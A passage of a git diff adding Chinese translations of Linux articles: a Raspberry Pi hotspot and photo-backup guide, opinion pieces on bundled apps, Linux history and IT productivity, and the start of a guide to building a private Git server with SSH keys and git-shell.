+树莓派会作为一个安全的热点。它会创建一个自己的 WPA2 加密的 WIFI 网络,iPad Pro 会连入其中。虽然有很多在线教程教你如何创建 Ad Hoc 网络(计算机到计算机的单对单网络),还更简单一些,但是它的连接是不加密的,而且附件的设备很容易就能连接进去。因此我选择创建 WIFI 网络。 + +相机的 SD 卡通过 SD 读卡器插到树莓派 USB 端口之一,128G 的大容量优盘一直插在树莓派的另外一个 USB 端口上,我选择了一款[闪迪的][11],因为体积比较小。主要的思路就是通过 Python 脚本把 SD 卡的照片备份到优盘上,备份过程是增量备份,每次脚本运行时都只有变化的(比如新拍摄的照片)部分会添加到备份文件夹中,所以这个过程特别快。如果你有很多的照片或者拍摄了很多 RAW 格式的照片,在就是个巨大的优势。iPad 将用来运行 Python 脚本,而且用来浏览 SD 卡和优盘的文件。 + +作为额外的好处,如果给树莓派连上一根能上网的网线(比如通过以太网口),那么它就可以共享互联网连接给那些通过 WIFI 连入的设备。 + +### 1. 树莓派的设置 + +这部分需要你卷起袖子亲自动手了,我们要用到 Raspbian 的命令行模式,我会尽可能详细的介绍,方便大家进行下去。 + +#### 安装和配置 Raspbian + +给树莓派连接鼠标、键盘和 LCD 显示器,将 SD 卡插到树莓派上,按照[树莓派官网][12]的步骤安装 Raspbian。 + +安装完后,打开 Raspbian 的终端,执行下面的命令: + +``` +sudo apt-get update +sudo apt-get upgrade +``` + +这将升级机器上所有的软件到最新,我将树莓派连接到本地网络,而且为了安全更改了默认的密码。 + +Raspbian 默认开启了 SSH,这样所有的设置可以在一个远程的设备上完成。我也设置了 RSA 验证,但这是可选的功能,可以在[这里][13]查看更多信息。 + +这是一个在 Mac 上在 [iTerm][14] 里建立 SSH 连接到树莓派上的截图[14]。(LCTT 译注:原文图丢失。) + +#### 建立 WPA2 加密的 WIFI AP + +安装过程基于[这篇文章][15],根据我的情况进行了调整。 + +**1. 安装软件包** + +我们需要安装下面的软件包: + +``` +sudo apt-get install hostapd +sudo apt-get install dnsmasq +``` + +hostapd 用来使用内置的 WiFi 来创建 AP,dnsmasp 是一个组合的 DHCP 和 DNS 服务其,很容易设置。 + +**2. 编辑 dhcpcd.conf** + +通过以太网连接树莓派,树莓派上的网络接口配置由 `dhcpd` 控制,因此我们首先忽略这一点,将 `wlan0` 设置为一个静态的 IP。 + +用 `sudo nano /etc/dhcpcd.conf` 命令打开 dhcpcd 的配置文件,在最后一行添加上如下内容: + +``` +denyinterfaces wlan0 +``` + +注意:它必须放在如果已经有的其它接口行**之上**。 + +**3. 编辑接口** + +现在设置静态 IP,使用 `sudo nano /etc/network/interfaces` 打开接口配置文件,按照如下信息编辑`wlan0`部分: + +``` +allow-hotplug wlan0 +iface wlan0 inet static + address 192.168.1.1 + netmask 255.255.255.0 + network 192.168.1.0 + broadcast 192.168.1.255 +# wpa-conf /etc/wpa_supplicant/wpa_supplicant.conf +``` + +同样,然后 `wlan1` 编辑如下: + +``` +#allow-hotplug wlan1 +#iface wlan1 inet manual +# wpa-conf /etc/wpa_supplicant/wpa_supplicant.conf +``` + +重要: 使用 `sudo service dhcpcd restart` 命令重启 `dhcpd`服务,然后用 `sudo ifdown eth0; sudo ifup wlan0` 命令来重载`wlan0`的配置。 + +**4. 配置 Hostapd** + +接下来,我们需要配置 hostapd,使用 `sudo nano /etc/hostapd/hostapd.conf` 命令创建一个新的配置文件,内容如下: + +``` +interface=wlan0 + +# Use the nl80211 driver with the brcmfmac driver +driver=nl80211 + +# This is the name of the network +ssid=YOUR_NETWORK_NAME_HERE + +# Use the 2.4GHz band +hw_mode=g + +# Use channel 6 +channel=6 + +# Enable 802.11n +ieee80211n=1 + +# Enable QoS Support +wmm_enabled=1 + +# Enable 40MHz channels with 20ns guard interval +ht_capab=[HT40][SHORT-GI-20][DSSS_CCK-40] + +# Accept all MAC addresses +macaddr_acl=0 + +# Use WPA authentication +auth_algs=1 + +# Require clients to know the network name +ignore_broadcast_ssid=0 + +# Use WPA2 +wpa=2 + +# Use a pre-shared key +wpa_key_mgmt=WPA-PSK + +# The network passphrase +wpa_passphrase=YOUR_NEW_WIFI_PASSWORD_HERE + +# Use AES, instead of TKIP +rsn_pairwise=CCMP +``` + +配置完成后,我们需要告诉`dhcpcd` 在系统启动运行时到哪里寻找配置文件。 使用 `sudo nano /etc/default/hostapd` 命令打开默认配置文件,然后找到`#DAEMON_CONF=""` 替换成`DAEMON_CONF="/etc/hostapd/hostapd.conf"`。 + +**5. 配置 Dnsmasq** + +自带的 dnsmasp 配置文件包含很多信息方便你使用它,但是我们不需要那么多选项,我建议把它移动到别的地方(而不要删除它),然后自己创建一个新文件: + +``` +sudo mv /etc/dnsmasq.conf /etc/dnsmasq.conf.orig +sudo nano /etc/dnsmasq.conf +``` + +粘贴下面的信息到新文件中: + +``` +interface=wlan0 # Use interface wlan0 +listen-address=192.168.1.1 # Explicitly specify the address to listen on +bind-interfaces # Bind to the interface to make sure we aren't sending things elsewhere +server=8.8.8.8 # Forward DNS requests to Google DNS +domain-needed # Don't forward short names +bogus-priv # Never forward addresses in the non-routed address spaces. +dhcp-range=192.168.1.50,192.168.1.100,12h # Assign IP addresses in that range with a 12 hour lease time +``` + +**6. 设置 IPv4 转发** + +最后我们需要做的事就是配置包转发,用 `sudo nano /etc/sysctl.conf` 命令打开 `sysctl.conf` 文件,将包含 `net.ipv4.ip_forward=1`的那一行之前的#号删除,它将在下次重启时生效。 + +我们还需要给连接到树莓派的设备通过 WIFI 分享互联网连接,做一个 `wlan0`和 `eth0` 之间的 NAT。我们可以参照下面的脚本来实现。 + +``` +sudo iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE +sudo iptables -A FORWARD -i eth0 -o wlan0 -m state --state RELATED,ESTABLISHED -j ACCEPT +sudo iptables -A FORWARD -i wlan0 -o eth0 -j ACCEPT +``` + +我命名这个脚本名为 `hotspot-boot.sh`,然后让它可以执行: + +``` +sudo chmod 755 hotspot-boot.sh +``` + +该脚本应该在树莓派启动的时候运行。有很多方法实现,下面是我实现的方式: + +1. 把文件放到`/home/pi/scripts`目录下。 +2. 输入`sudo nano /etc/rc.local`命令编辑 `rc.local` 文件,将运行该脚本的命令放到 `exit 0`之前。(更多信息参照[这里][16])。 + +编辑后`rc.local`看起来像这样: + +``` +#!/bin/sh -e +# +# rc.local +# +# This script is executed at the end of each multiuser runlevel. +# Make sure that the script will "exit 0" on success or any other +# value on error. +# +# In order to enable or disable this script just change the execution +# bits. +# +# By default this script does nothing. + +# Print the IP address +_IP=$(hostname -I) || true +if [ "$_IP" ]; then + printf "My IP address is %s\n" "$_IP" +fi + +sudo /home/pi/scripts/hotspot-boot.sh & + +exit 0 + +``` + +#### 安装 Samba 服务和 NTFS 兼容驱动 + +我们要安装下面几个软件来启用 samba 协议,使[文件浏览器][20]能够访问树莓派分享的文件夹,`ntfs-3g` 可以使我们能够访问移动硬盘中 ntfs 文件系统的文件。 + +``` +sudo apt-get install ntfs-3g +sudo apt-get install samba samba-common-bin +``` + +你可以参照[这些文档][17]来配置 Samba。 + +重要提示:参考的文档介绍的是挂载外置硬盘到树莓派上,我们不这样做,是因为在这篇文章写作的时候,树莓派在启动时的 auto-mounts 功能同时将 SD 卡和优盘挂载到`/media/pi/`上,该文章有一些多余的功能我们也不会采用。 + +### 2. Python 脚本 + +树莓派配置好后,我们需要开发脚本来实际拷贝和备份照片。注意,这个脚本只是提供了特定的自动化备份进程,如果你有基本的 Linux/树莓派命令行操作的技能,你可以 ssh 进树莓派,然后创建需要的文件夹,使用`cp`或`rsync`命令拷贝你自己的照片从一个设备到另外一个设备上。在脚本里我们用`rsync`命令,这个命令比较可靠而且支持增量备份。 + +这个过程依赖两个文件,脚本文件自身和`backup_photos.conf`这个配置文件,后者只有几行包含被挂载的目的驱动器(优盘)和应该挂载到哪个目录,它看起来是这样的: + +``` +mount folder=/media/pi/ +destination folder=PDRIVE128GB +``` + +重要提示:在这个符号`=`前后不要添加多余的空格,否则脚本会失效。 + +下面是这个 Python 脚本,我把它命名为`backup_photos.py`,把它放到了`/home/pi/scripts/`目录下,我在每行都做了注释可以方便的查看各行的功能。 + +``` +#!/usr/bin/python3 + +import os +import sys +from sh import rsync + +''' +脚本将挂载到 /media/pi 的 SD 卡上的内容复制到目的磁盘的同名目录下,目的磁盘的名字在 .conf文件里定义好了。 + + +Argument: label/name of the mounted SD Card. +''' + +CONFIG_FILE = '/home/pi/scripts/backup_photos.conf' +ORIGIN_DEV = sys.argv[1] + +def create_folder(path): + + print ('attempting to create destination folder: ',path) + if not os.path.exists(path): + try: + os.mkdir(path) + print ('Folder created.') + except: + print ('Folder could not be created. Stopping.') + return + else: + print ('Folder already in path. Using that instead.') + + + +confFile = open(CONFIG_FILE,'rU') +#重要:: rU 选项将以统一换行模式打开文件, +#所以 \n 和/或 \r 都被识别为一个新行。 + +confList = confFile.readlines() +confFile.close() + + +for line in confList: + line = line.strip('\n') + + try: + name , value = line.split('=') + + if name == 'mount folder': + mountFolder = value + elif name == 'destination folder': + destDevice = value + + + except ValueError: + print ('Incorrect line format. Passing.') + pass + + +destFolder = mountFolder+destDevice+'/'+ORIGIN_DEV +create_folder(destFolder) + +print ('Copying files...') + +# 取消这行备注将删除不在源处的文件 +# rsync("-av", "--delete", mountFolder+ORIGIN_DEV, destFolder) +rsync("-av", mountFolder+ORIGIN_DEV+'/', destFolder) + +print ('Done.') +``` + +### 3. iPad Pro 的配置 + +因为重活都由树莓派干了,文件不通过 iPad Pro 传输,这比我[之前尝试的一种方案][18]有巨大的优势。我们在 iPad 上只需要安装上 [Prompt2][19] 来通过 SSH 连接树莓派就行了,这样你既可以运行 Python 脚本也可以手动复制文件了。 + +![](http://www.movingelectrons.net/images/bkup_photos_ipad&rpi_prompt.jpg) + +*iPad 用 Prompt2 通过 SSH 连接树莓派* + +因为我们安装了 Samba,我们可以以更图形化的方式访问连接到树莓派的 USB 设备,你可以看视频,在不同的设备之间复制和移动文件,[文件浏览器][20]对于这种用途非常完美。 + +### 4. 将它们结合在一起 + +我们假设`SD32GB-03`是连接到树莓派 USB 端口之一的 SD 卡的卷标,`PDRIVE128GB`是那个优盘的卷标,也连接到设备上,并在上面指出的配置文件中定义好。如果我们想要备份 SD 卡上的图片,我们需要这么做: + +1. 给树莓派加电打开,将驱动器自动挂载好。 +2. 连接树莓派配置好的 WIFI 网络。 +3. 用 [Prompt2][21] 这个 app 通过 SSH 连接到树莓派。 +4. 连接好后输入下面的命令:`python3 backup_photos.py SD32GB-03` + +首次备份需要一些时间,这依赖于你的 SD 卡使用了多少容量。这意味着你需要一直保持树莓派和 iPad 设备连接不断,你可以在脚本运行之前通过 `nohup` 命令解决: + +``` +nohup python3 backup_photos.py SD32GB-03 & +``` + +![](http://www.movingelectrons.net/images/bkup_photos_ipad&rpi_finished.png) + +*运行完成的脚本如图所示* + +### 未来的定制 + +我在树莓派上安装了 vnc 服务,这样我可以通过其它计算机或在 iPad 上用 [Remoter App][23]连接树莓派的图形界面,我安装了 [BitTorrent Sync][24] 用来远端备份我的图片,当然需要先设置好。当我有了可以运行的解决方案之后,我会补充我的文章。 + +你可以在下面发表你的评论和问题,我会在此页下面回复。 + +-------------------------------------------------------------------------------- + +via: http://www.movingelectrons.net/blog/2016/06/26/backup-photos-while-traveling-with-a-raspberry-pi.html + +作者:[Lenin][a] +译者:[jiajia9linuxer](https://github.com/jiajia9linuxer) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://www.movingelectrons.net/blog/2016/06/26/backup-photos-while-traveling-with-a-raspberry-pi.html +[1]: http://bit.ly/1MVVtZi +[2]: http://www.amazon.com/dp/B01D3NZIMA/?tag=movinelect0e-20 +[3]: http://www.amazon.com/dp/B01CD5VC92/?tag=movinelect0e-20 +[4]: http://www.amazon.com/dp/B010Q57T02/?tag=movinelect0e-20 +[5]: http://www.amazon.com/dp/B01F1PSFY6/?tag=movinelect0e-20 +[6]: http://amzn.to/293kPqX +[7]: http://amzn.to/290syFY +[8]: http://amzn.to/290syFY +[9]: http://amzn.to/290syFY +[10]: http://amzn.to/290syFY +[11]: http://amzn.to/293kPqX +[12]: https://www.raspberrypi.org/downloads/noobs/ +[13]: https://www.raspberrypi.org/documentation/remote-access/ssh/passwordless.md +[14]: https://www.iterm2.com/ +[15]: https://frillip.com/using-your-raspberry-pi-3-as-a-wifi-access-point-with-hostapd/ +[16]: https://www.raspberrypi.org/documentation/linux/usage/rc-local.md +[17]: http://www.howtogeek.com/139433/how-to-turn-a-raspberry-pi-into-a-low-power-network-storage-device/ +[18]: http://bit.ly/1MVVtZi +[19]: https://itunes.apple.com/us/app/prompt-2/id917437289?mt=8&uo=4&at=11lqkH +[20]: https://itunes.apple.com/us/app/filebrowser-access-files-on/id364738545?mt=8&uo=4&at=11lqkH +[21]: https://itunes.apple.com/us/app/prompt-2/id917437289?mt=8&uo=4&at=11lqkH +[22]: https://en.m.wikipedia.org/wiki/Nohup +[23]: https://itunes.apple.com/us/app/remoter-pro-vnc-ssh-rdp/id519768191?mt=8&uo=4&at=11lqkH +[24]: https://getsync.com/ diff --git "a/published/201609/20160627 Linux Applications That Works On All Distributions \342\200\223 Are They Any Good.md" "b/published/201609/20160627 Linux Applications That Works On All Distributions \342\200\223 Are They Any Good.md" new file mode 100644 index 0000000000..83a9f9c92b --- /dev/null +++ "b/published/201609/20160627 Linux Applications That Works On All Distributions \342\200\223 Are They Any Good.md" @@ -0,0 +1,88 @@ +适用于所有发行版的 Linux 应用程序——是否真的有好处呢? +============================================================================ + +![](http://www.iwillfolo.com/wordpress/wp-content/uploads/2016/06/Bundled-applications.jpg) + +让我们回顾一下 Linux 社区最新的愿景——推动去中心化的应用来解决发行版的碎片化。 + +继上周的文章:“[Snap、Flatpak 这种通吃所有发行版的打包方式真的有用吗?][1]” 之后,一系列新观点浮出水面,其中可能包含关于这样应用是否有用的重要信息。 + +### 缺点 + +就这个话题在[这里][2]的评论,一个叫 Till 的 [Gentoo][3] 使用者,对于上一次我们未能完全解释的问题给出了一些新的观点。 + +对于上一次我们选择仅仅称之为膨胀的的东西,Till 从另一方面做了剖析膨胀将来的发展,这可以帮助我们更好的理解它的组成和其影响。 + +这些被称之为“捆绑应用”的应用程序能够工作在所有发行版上的机制是——将它依赖的库都包含在它们的应用软件之中,Till 说: + +> “捆绑应用装载了大量的并不被应用开发者所维护的软件。如果其中的某个函数库被发现了一个安全问题而需要更新的话,你得为每一个独立的应用程序安装更新来确保你的系统安全。” + +本质上,Till 提出了一个**重要的安全问题**。但是它并不仅仅与安全有关系,它还关系到许多方面,比如说系统维护、原子更新等等。 + +此外,如果我们进一步假设:依赖的开发者们也许会合作,将他们的软件与使用它的应用程序一起发布(一种理想状况),但这将导致整个平台的开发整体放缓。 + +另一个将会导致的问题是**透明的依赖关系变得模糊**,就是说,如果你想知道一个应用程序捆绑了哪些依赖关系,你必须依靠开发者发布这些数据。 + +或者就像 Till 说的:“比如说像某某包是否已经包含了更新的某函数库这样的问题将会是你每天需要面对的。” + +与之相反,对于 Linux 现行的标准的包管理方法(包括二进制包和源码包),你能够很容易的注意到哪些函数库已经在系统中更新了。 + +并且,你也可以很轻松的知道其它哪些应用使用了这个函数库,这就将你从繁琐的单独检查每一个应用程序的工作中解救了出来。 + +其他可能由膨胀导致的缺点包括:**更大的包体积**(每一个应用程序捆绑了依赖),**更高的内存占用**(没有共享函数库),并且,**少了一个包过滤机制**来防止恶意软件:发行版的包维护者也充当了一个在开发者和用户之间的过滤者,他保障了用户获得高质量的软件。 + +而在捆绑应用中就不再是这种情况了。 + +最后一点,Till 声称,尽管在某些情况下很有用,但是在大多数情况下,**捆绑应用程序将弱化自由软件在发行版中的地位**(专有软件供应商将被能够发布他们的软件而不用把它放到公共软件仓库中)。 + +除此之外,它引出了许多其他问题。很多问题都可以简单归结到开发人员身上。 + +### 优点 + +相比之下,另一个名叫 Sven 的人的评论试图反驳目前普遍反对使用捆绑应用程序的观点,从而证明和支持使用它。 + +“浪费空间?”——Sven 声称在当今世界我们有**很多其他事情在浪费磁盘空间**,比如电影存储在硬盘上、本地安装等等…… + +最终,这些事情浪费的空间要远远多于仅仅“ 100 MB 而你每天都要使用的程序。……因此浪费空间的说法实在很荒谬。” + +“浪费运行内存?”——主要的观点有: + +- **共享库浪费的内存要远远少于程序的运行时数据所占用的**。 + +- 而今运行**内存已经很便宜**了。 + +“安全梦魇”——不是每个应用程序的运行**真正的要注重安全**。 + +而且,**许多应用程序甚至从来没有过任何安全更新**,除非在“滚动更新的发行版”。 + +除了 Sven 这种从实用出发的观点以外,Till 其实也指出了捆绑应用在一些情况下也有着其优点: + +- 专有软件的供应商想要保持他们的代码游离于公共仓库之外将更加容易。 +- 没有被你的发行版打包进去的小众应用程序将变得更加可行。 +- 在没有 Beta 包的二进制发行版中测试应用将变得简单。 +- 将用户从复杂的依赖关系中解放出来。 + +### 最后的思考 + +虽然关于此问题有着不同的想法,但是有一个被大家共同接受的观点是:**捆绑应用对于填补 Linux 生态系统有着其独到的作用。** + +虽然如此,它的定位,不论是主流的还是边缘的,都变得愈发清晰,至少理论上是这样。 + +想要尽可能优化其系统的用户,在大多数情况下应该要避免使用捆绑应用。 + +而讲究易用性、尽可能在维护系统上少费劲的用户,可能应该会感觉这种新应用十分舒爽。 + +-------------------------------------------------------------------------------- + +via: http://www.iwillfolo.com/linux-applications-that-works-on-all-distributions-are-they-any-good/ + +作者:[Liron][a] +译者:[Chao-zhi](https://github.com/Chao-zhi) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: http://www.iwillfolo.com/category/editorials/ +[1]: https://linux.cn/article-7783-1.html +[2]: http://www.proli.net/2016/06/25/gnulinux-bundled-application-ramblings/ +[3]: http://www.iwillfolo.com/5-reasons-use-gentoo-linux/ diff --git a/published/201609/20160803 The revenge of Linux.md b/published/201609/20160803 The revenge of Linux.md new file mode 100644 index 0000000000..5417b62a05 --- /dev/null +++ b/published/201609/20160803 The revenge of Linux.md @@ -0,0 +1,36 @@ +Linux 的逆袭 +======================== + +![](https://opensource.com/sites/default/files/styles/image-full-size/public/images/life/penguin%20swimming.jpg?itok=mfhEdRdM) + +Linux 系统在早期的时候被人们嘲笑,它什么也干不了。而现在,Linux 无处不在! + +我当时还是个在巴西学习计算机工程的大三学生,并同时在一个全球审计和顾问公司兼职系统管理员。公司决定用 Oracle 数据库开发一些企业资源计划(ERP)软件。因此,我得以在 Digital UNIX OS (DEC Alpha) 进行训练,这个训练颠覆了我的三观。 + +UNIX 系统非常的强大,而且给予了我们对机器上包括存储系统、网络、应用和其他一切的绝对控制权。 + +我开始在 ksh 和 Bash 里编写大量的脚本让系统进行自动备份、文件传输、提取转换加载(ETL)操作、自动化 DBA 日常工作,还为各种不同的项目创建了许多服务。此外,调整数据库和操作系统的工作让我更好的理解了如何让服务器以最佳方式运行。在那时,我在自己的个人电脑上使用的是 Windows 95 系统,而我非常想要在我的个人电脑里放进一个 Digital UNIX,或者哪怕是 Solaris 或 HP-UX 也行,但是那些 UNIX 系统都得在特定的硬件才能上运行。我阅读了所有的系统文档,还找过其它的书籍以求获得更多的信息,也在我们的开发环境里对这些疯狂的想法进行了实验。 + +后来在大学里,我从我的同事那听说了 Linux。我那时非常激动的从还在用拨号方式连接的因特网上下载了它。在我的正宗的个人电脑里装上 UNIX 这类系统的这个想法真是太酷了! + +Linux 不同于 UNIX 系统,它设计用来在各种常见个人电脑硬件上运行,在起初,让它开始工作确实有点困难,Linux 针对的用户群只有系统管理员和极客们。我为了让它能运行,甚至用 C 语言修改了驱动软件。我之前使用 UNIX 的经历让我在编译 Linux 内核,排错这些过程中非常的顺手。由于它不同于那些只适合特定硬件配置的封闭系统,所以让 Linux 跟各种意料之外的硬件配置一起工作真的是件非常具有挑战性的事。 + +我曾见过 Linux 在数据中心获得一席之地。一些具有冒险精神的系统管理员使用它来帮他们完成每天监视和管理基础设施的工作,随后,Linux 作为 DNS 和 DHCP 服务器、打印管理和文件服务器等赢得了更多的使用。企业曾对 Linux 有着很多顾虑(恐惧,不确定性,怀疑(FUD:fear, uncertainty and doubt))和诟病:谁是它的拥有者?由谁来支持它?有适用于它的应用吗? + +但现在看来,Linux 在各个地方进行着逆袭!从开发者的个人电脑到大企业的服务器;我们能在智能手机、智能手表以及像树莓派这样的物联网(IoT)设备里找到它。甚至 Mac OS X 有些命令跟我们所熟悉的命令一样。微软在制造它自己的发行版,在 Azure 上运行,然后…… Windows 10 要装备 Bash。 + +有趣的是 IT 市场会不断地创造并迅速的用新技术替代,但是我们所掌握的 Digital UNIX、HP-UX 和 Solaris 这些旧系统的知识还依然有效并跟 Linux 息息相关,不论是为了工作还是玩。现在我们能完全的掌控我们的系统,并使它发挥最大的效用。此外,Linux 有个充满热情的社区。 + +我真的建议想在计算机方面发展的年轻人学习 Linux,不论你处于 IT 界里的哪个分支。如果你深入了解了一个普通的家用个人电脑是如何工作的,你就可以以基本相同的方式来面对任何机器。你可以通过 Linux 学习最基本的计算机知识,并通过它建立能在 IT 界任何地方都有用的能力! + +-------------------------------------------------------------------------------- + +via: https://opensource.com/life/16/8/revenge-linux + +作者:[Daniel Carvalho][a] +译者:[H-mudcup](https://github.com/H-mudcup) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/danielscarvalho diff --git a/published/201609/20160808 Why measuring IT productivity is so challenging.md b/published/201609/20160808 Why measuring IT productivity is so challenging.md new file mode 100644 index 0000000000..920b1d689d --- /dev/null +++ b/published/201609/20160808 Why measuring IT productivity is so challenging.md @@ -0,0 +1,36 @@ +为什么计量 IT 的生产力如此具有挑战性? +=========================== + +![](https://enterprisersproject.com/sites/default/files/styles/620x350/public/images/cio_talent_6.png?itok=JV-zSor3) + +在某些行业里,人们可以根据一些测量标准判定一个人的生产力。比如,如果你是一个零件制造商,可以通过一个月你能够制造的零件数量来确定你的生产效率。如果你在客户服务中心工作,你解答了多少个客户来电,你的平均解答时间都会成为评判你的生产效率的依据。这些都是相当简单的案例,但即便你是一位医生,也可以通过你主刀的临床手术次数或者一个月你确诊的患者数量来确定你的生产效率。无论这些评判标准正确与否,但它们提供了一个通用的方法来评断一个人在给定时间内的执行能力。 + +然而在 IT 这方面,通过上述方法来衡量一个人的生产力是不可能的,因为 IT 有太多的变化性。比如,通过一个开发者编写的代码行数来衡量开发者所用的时间看起来很诱人。但是,编程的语言很大程度上能影响到根据这种方法得到的结论。因为一种编程语言的一行代码比用其他编程语言编写所花费的时间和难度可能会明显的多或少。 + +它总是这样不可捉摸吗?多年以前,你可能听说过或者经历过根据功能点来衡量 IT 工作人员的生产效率。这些措施是针对开发者们能够创建的关键特征来衡量开发者的生产效率的。但这种方法在今天也变得逐渐难以实施,开发者经常将可能已有的逻辑封装进内部,比如,按供应商来整合功能点。这使得仅仅是基于功能点的数目来估量生产效率难度加大。 + +这两个例子能够阐述为什么当我们 CIO 之间谈论 IT 生产效率的时候有时会引起争论。考虑以下这个假想中的谈话: + +> IT leader:“天啊,我想这些开发者一定很厉害。” +> HR:“真的假的,他们做了什么?” +> IT leader:“他们做了个相当好的应用。” +> HR:“好吧,那他们比那些做了 10 个应用的开发者更好吗” +> IT leader:“这要看你怎么理解 ‘更好’。” + +这个对话比较有代表性。当我们处于上述的这种交谈时,这里面有太多的主观因素导致我们很难回答这个问题。当我们用一种有意义的方法来测试 IT 的效率时,类似上述谈话的这种问题仅仅是冰山一角。这不仅仅使谈话更加困难-它还会使 CIO 们很难展示他们的团队在商业上的价值。 + +确实这不是一个新出现的问题。我已经花费差不多 30 年的时间来思考这个问题。我得出的结论是我们真的不应该在谈论 IT 的生产效率这件事上面相互烦扰-因为我们永远不可能有结论。 + +我认为我们需要在改变这种对话同时停止根据生产能力和成本来谈论 IT 的生产效率,将目光集中于衡量 IT 的整体商业价值上。重申一下,这个过程不会很容易。商业价值的实现是一件困难的事情。但如果 CIO 们能够和商业人员合作来解决这个问题,就可以将实际价值变的更加科学而非一种艺术形式。 + +-------------------------------------------------------------------------------- + +via: https://enterprisersproject.com/article/2016/8/why-measuring-it-productivity-so-challenging + +作者:[Anil Cheriyan][a] +译者:[LemonDemo](https://github.com/LemonDemo) [WangYueScream](https://github.com/WangYueScream) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://enterprisersproject.com/user/anil-cheriyan diff --git a/published/201609/20160809 How to build your own Git server.md b/published/201609/20160809 How to build your own Git server.md new file mode 100644 index 0000000000..d4b171338e --- /dev/null +++ b/published/201609/20160809 How to build your own Git server.md @@ -0,0 +1,219 @@ +Git 系列(六):如何搭建你自己的 Git 服务器 +==================== + +![](https://opensource.com/sites/default/files/styles/image-full-size/public/images/business/bus-big-data.png?itok=sOQHDuID) + +现在我们将要学习如何搭建 git 服务器,如何编写自定义的 Git 钩子来在特定的事件触发相应的动作(例如通知),或者是发布你的代码到一个站点。 + +直到现在,我们主要讨论的还是以一个使用者的身份与 Git 进行交互。这篇文章中我将讨论 Git 的管理,并且设计一个灵活的 Git 框架。你可能会觉得这听起来是 “高阶 Git 技术” 或者 “只有狂热粉才能阅读”的一句委婉的说法,但是事实是这里面的每个任务都不需要很深的知识或者其他特殊的训练,就能基本理解 Git 的工作原理,有可能需要一丁点关于 Linux 的知识。 + +### 共享 Git 服务器 + +创建你自己的共享 Git 服务器意外地简单,而且在很多情况下,遇到的这点麻烦是完全值得的。不仅仅是因为它保证你有权限查看自己的代码,它还可以通过扩展为 Git 的使用敞开了一扇大门,例如个人 Git 钩子、无限制的数据存储、和持续集成与分发(CI & CD)。 + +如果你知道如何使用 Git 和 SSH,那么你已经知道怎么创建一个 Git 服务器了。Git 的设计方式,就是让你在创建或者 clone 一个仓库的时候,就完成了一半服务器的搭建。然后允许用 SSH 访问仓库,而且任何有权限访问的人都可以使用你的仓库作为 clone 的新仓库的基础。 + +但是,这是一个小的点对点环境(ad-hoc)。按照一些方案你可以创建一些带有同样的功能的设计优良的 Git 服务器,同时有更好的拓展性。 + +首要之事:确认你的用户们,现在的用户以及之后的用户都要考虑。如果你是唯一的用户那么没有任何改动的必要。但是如果你试图邀请其他的代码贡献者使用,那么你应该允许一个专门的分享系统用户给你的开发者们。 + +假定你有一个可用的服务器(如果没有,这不成问题,Git 会帮忙解决,CentOS 的 [树莓派 3][3] 是个不错的开始),然后第一步就是只允许使用 SSH 密钥认证的 SSH 登录。这比使用密码登录安全得多,因为这可以免于暴力破解,也可以通过直接删除用户密钥而禁用用户。 + +一旦你启用了 SSH 密钥认证,创建 `gituser` 用户。这是给你的所有授权的用户们的公共用户: + +``` +$ su -c 'adduser gituser' +``` + +然后切换到刚创建的 `gituser` 用户,创建一个 `~/.ssh` 的框架,并设置好合适的权限。这很重要,如果权限设置得太开放会使自己所保护的 SSH 没有意义。 + +``` +$ su - gituser +$ mkdir .ssh && chmod 700 .ssh +$ touch .ssh/authorized_keys +$ chmod 600 .ssh/authorized_keys +``` + +`authorized_keys` 文件里包含所有你的开发者们的 SSH 公钥,你开放权限允许他们可以在你的 Git 项目上工作。他们必须创建他们自己的 SSH 密钥对然后把他们的公钥给你。复制公钥到 gituser 用户下的 `authorized_keys` 文件中。例如,为一个叫 Bob 的开发者,执行以下命令: + +``` +$ cat ~/path/to/id_rsa.bob.pub >> /home/gituser/.ssh/authorized_keys +``` + +只要开发者 Bob 有私钥并且把相对应的公钥给你,Bob 就可以用 `gituser` 用户访问服务器。 + +但是,你并不是想让你的开发者们能使用服务器,即使只是以 `gituser` 的身份访问。你只是想给他们访问 Git 仓库的权限。因为这个特殊的原因,Git 提供了一个限制的 shell,准确的说是 `git-shell`。以 root 身份执行以下命令,把 `git-shell` 添加到你的系统中,然后设置成 `gituser` 用户的默认 shell。 + +``` +# grep git-shell /etc/shells || su -c "echo `which git-shell` >> /etc/shells" +# su -c 'usermod -s git-shell gituser' +``` + +现在 `gituser` 用户只能使用 SSH 来 push 或者 pull Git 仓库,并且无法使用任何一个可以登录的 shell。你应该把你自己添加到和 `gituser` 一样的组中,在我们的样例服务器中这个组的名字也是 `gituser`。 + +举个例子: + +``` +# usermod -a -G gituser seth +``` + +仅剩下的一步就是创建一个 Git 仓库。因为没有人能在服务器上直接与 Git 交互(也就是说,你之后不能 SSH 到服务器然后直接操作这个仓库),所以创建一个空的仓库 。如果你想使用这个放在服务器上的仓库来完成工作,你可以从它的所在处 `clone` 下来,然后在你的 home 目录下进行工作。 + +严格地讲,你不是必须创建这个空的仓库;它和一个正常的仓库一样工作。但是,一个空的仓库没有工作分支(working tree) (也就是说,使用 `checkout` 并没有任何分支显示)。这很重要,因为不允许远程使用者们 `push` 到一个有效的分支上(如果你正在 `dev` 分支工作然后突然有人把一些变更 `push` 到你的工作分支,你会有怎么样的感受?)。因为一个空的仓库可以没有有效的分支,所以这不会成为一个问题。 + +你可以把这个仓库放到任何你想放的地方,只要你想要放开权限给用户和用户组,让他们可以在仓库下工作。千万不要保存目录到比如说一个用户的 home 目录下,因为那里有严格的权限限制。保存到一个常规的共享地址,例如 `/opt` 或者 `/usr/local/share`。 + +以 root 身份创建一个空的仓库: + +``` +# git init --bare /opt/jupiter.git +# chown -R gituser:gituser /opt/jupiter.git +# chmod -R 770 /opt/jupiter.git +``` + +现在任何一个用户,只要他被认证为 `gituser` 或者在 `gituser` 组中,就可以从 jupiter.git 